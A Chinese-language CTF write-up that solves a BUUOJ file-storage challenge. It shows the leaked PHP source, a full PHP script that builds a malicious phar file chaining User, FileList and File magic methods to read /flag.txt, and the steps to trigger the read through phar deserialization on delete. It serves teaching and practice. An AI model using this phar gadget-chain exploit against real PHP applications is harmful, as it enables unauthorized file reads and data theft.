感謝buuoj的大佬們搭建的復現環境。作為一位CTF的初學者,我會把每個題目的writeup都寫的盡量詳細,希望能幫到后面的初學者。
文章會不定時繼續完善,完善內容可能包括分析的錯誤、語病和文章結構等。
復現過程
進入解題頁面發現需要登錄,這里只需要注冊一個賬號然后登錄即可。
登錄以后是一個網盤的頁面,最開始只有上傳功能,並且只能上傳png,jpg等圖片格式。
隨便上傳一個符合要求的文件,發現可以對其進行下載和刪除。通過抓下載的包發現,該處存在一個任意文件下載的漏洞,可以下載源碼。
利用該漏洞下載download.php,delete.php以及其需要包含的class.php的內容。
<?php
#download.php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
if (!isset($_POST['filename'])) {
die();
}
include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");
chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
Header("Content-type: application/octet-stream");
Header("Content-Disposition: attachment; filename=" . basename($filename));
echo $file->close();
} else {
echo "File not exist";
}
?>
<?php
#delete.php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
if (!isset($_POST['filename'])) {
die();
}
include "class.php";
chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
$file->detele();
Header("Content-type: application/json");
$response = array("success" => true, "error" => "");
echo json_encode($response);
} else {
Header("Content-type: application/json");
$response = array("success" => false, "error" => "File not exist");
echo json_encode($response);
}
?>
<?php
#class.php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);
class User {
public $db;
public function __construct() {
global $db;
$this->db = $db;
}
public function user_exist($username) {
$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows;
if ($count === 0) {
return false;
}
return true;
}
public function add_user($username, $password) {
if ($this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
return true;
}
public function verify_user($username, $password) {
if (!$this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($expect);
$stmt->fetch();
if (isset($expect) && $expect === $password) {
return true;
}
return false;
}
public function __destruct() {
$this->db->close();
}
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);
$key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]);
foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file);
$this->results[$file->name()] = array();
}
}
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}
public function __destruct() {
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">ä¸è½½</a> / <a href="#" class="delete">å é¤</a></td>';
$table .= '</tr>';
}
echo $table;
}
}
class File {
public $filename;
public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}
public function name() {
return basename($this->filename);
}
public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];
}
public function detele() {
unlink($this->filename);
}
public function close() {
return file_get_contents($this->filename);
}
}
?>
注意到File類中的close方法執行時會獲得文件的內容,如果能觸發該方法,就有機會得到flag。
運行如下PHP文件,生成一個phar文件,更改后綴名為png進行上傳。
(具體原理見下文的原理分析)
<?php
class User {
public $db;
}
class File {
public $filename;
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct() {
$file = new File();
$file->filename = '/flag.txt';
$this->files = array($file);
$this->results = array();
$this->funcs = array();
}
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后綴名必須為phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //設置stub
$o = new User();
$o->db = new FileList();
$phar->setMetadata($o); //將自定義的meta-data存入manifest
$phar->addFromString("exp.txt", "test"); //添加要壓縮的文件
//簽名自動計算
$phar->stopBuffering();
?>
在刪除時使用burpsite抓包,修改參數,即可得到flag。
原理及源碼分析
分析download.php的核心源碼可以發現,該文件只有很常規的下載文件操作,並且限制了不能下載文件名中帶有flag的文件。
<?php
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
#省略一些代碼
echo $file->close();
} else {
echo "File not exist";
}
?>
接着分析delete.php的代碼。
<?php
include "class.php";
if (strlen($filename) < 40 && $file->open($filename)) {
$file->detele();
Header("Content-type: application/json");
$response = array("success" => true, "error" => "");
echo json_encode($response);
} else {
Header("Content-type: application/json");
$response = array("success" => false, "error" => "File not exist");
echo json_encode($response);
}
?>
單獨看這段代碼沒有發現可以利用的地方,這段代碼的作用只是返回一個成功或失敗的消息。
接着分析class.php。
這個文件中定義了用戶和文件相關的類。
<?php
#代碼精簡一下
class File {
public $filename;
public function close() {
return file_get_contents($this->filename);
}
}
class User {
public $db;
public function __destruct() {
$this->db->close();
}
}
class FileList {
private $files;
private $results;
private $funcs;
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}
public function __destruct() {
#省略了一些影響閱讀的table創建代碼
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '</tr>';
}
echo $table;
}
}
?>
File類中的close方法會獲取文件內容,如果能觸發該方法,就有可能獲取flag。
User類中存在close方法,並且該方法在對象銷毀時執行。
同時FileList類中存在call魔術方法,並且類沒有close方法。如果一個Filelist對象調用了close()方法,根據call方法的代碼可以知道,文件的close方法會被執行,就可能拿到flag。
根據以上三條線索,梳理一下可以得出結論:
如果能創建一個user的對象,其db變量是一個FileList對象,對象中的文件名為flag的位置。這樣的話,當user對象銷毀時,db變量的close方法被執行;而db變量沒有close方法,這樣就會觸發call魔術方法,進而變成了執行File對象的close方法。通過分析FileList類的析構方法可以知道,close方法執行后存在results變量里的結果會加入到table變量中被打印出來,也就是flag會被打印出來。
想實現上述想法,可以借助phar的偽協議。有一篇文章對phar偽協議的利用講的很好,可以參考如下鏈接:
生成phar文件后在刪除的時候進行觸發即可得到flag。